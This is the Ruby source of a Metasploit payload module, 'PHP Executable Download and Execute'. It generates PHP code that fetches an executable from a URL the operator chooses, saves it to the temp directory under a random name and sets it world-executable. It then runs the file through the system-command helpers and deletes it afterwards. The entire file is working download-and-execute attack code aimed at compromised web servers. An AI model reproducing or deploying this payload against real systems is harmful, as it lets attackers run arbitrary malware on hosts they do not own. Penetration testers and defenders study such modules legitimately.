## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/payload/php' module Metasploit3 include Msf::Payload::Php include Msf::Payload::Single def initialize(info = {}) super(update_info(info, 'Name' => 'PHP Executable Download and Execute', 'Description' => 'Download an EXE from an HTTP URL and execute it', 'Author' => [ 'egypt' ], 'License' => BSD_LICENSE, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Privileged' => false )) # EXITFUNC is not supported :/ deregister_options('EXITFUNC') # Register command execution options register_options( [ OptString.new('URL', [ true, "The pre-encoded URL to the executable" ]) ], self.class) end def php_exec_file exename = Rex::Text.rand_text_alpha(rand(8) + 4) dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4) shell = <<-END_OF_PHP_CODE if (!function_exists('sys_get_temp_dir')) { function sys_get_temp_dir() { if (!empty($_ENV['TMP'])) { return realpath($_ENV['TMP']); } if (!empty($_ENV['TMPDIR'])) { return realpath($_ENV['TMPDIR']); } if (!empty($_ENV['TEMP'])) { return realpath($_ENV['TEMP']); } $tempfile=tempnam(uniqid(rand(),TRUE),''); if (file_exists($tempfile)) { @unlink($tempfile); return realpath(dirname($tempfile)); } return null; } } $fname = sys_get_temp_dir() . DIRECTORY_SEPARATOR . "#{exename}.exe"; $fd_in = fopen("#{datastore['URL']}", "rb"); $fd_out = fopen($fname, "wb"); while (!feof($fd_in)) { fwrite($fd_out, fread($fd_in, 8192)); } fclose($fd_in); fclose($fd_out); chmod($fname, 0777); $c = $fname; #{php_preamble({:disabled_varname => dis})} #{php_system_block({:cmd_varname => "$c", :disabled_varname => dis})} @unlink($fname); END_OF_PHP_CODE #return Rex::Text.compress(shell) return shell end # # Constructs the payload # def generate return php_exec_file end end